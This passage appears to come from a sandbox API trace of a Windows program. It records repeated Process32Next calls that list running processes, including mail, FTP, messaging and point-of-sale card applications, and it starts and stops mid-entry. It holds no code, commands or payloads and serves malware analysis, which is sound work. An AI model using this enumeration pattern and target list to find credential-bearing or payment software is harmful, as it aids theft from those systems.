th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0236.038] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0236.040] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0236.042] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0236.044] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0236.047] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0236.048] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0236.050] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0236.052] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0236.054] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0236.056] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0236.058] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0236.059] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0236.061] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0236.063] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0236.115] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0236.117] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0236.119] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0236.121] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0236.122] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0236.124] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0236.126] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0236.128] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0236.130] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0236.131] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0236.133] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0236.135] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0236.136] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0236.138] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0236.140] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0236.142] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0236.143] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0236.145] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0236.146] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0236.148] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0236.149] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 0 [0236.151] CloseHandle (hObject=0x13b0) returned 1 [0236.151] Sleep (dwMilliseconds=0x64) [0236.202] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x13b0 [0236.215] Process32First (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0236.216] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0236.218] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0236.219] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0236.220] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0236.222] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0236.224] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0236.225] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0236.227] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0236.228] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.230] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.231] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0236.233] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.234] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.236] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.302] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.304] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.306] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.307] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.309] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0236.311] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0236.313] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0236.315] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.317] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2b, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0236.318] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0236.320] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0236.321] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0236.323] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.324] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0236.326] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0236.327] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0236.329] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0236.330] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0236.333] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0236.336] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0236.341] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0236.344] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0236.400] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0236.404] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0236.407] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0236.411] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0236.414] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0236.417] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0236.420] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0236.430] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0236.432] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0236.438] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0236.440] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0236.490] Process32Next (in: 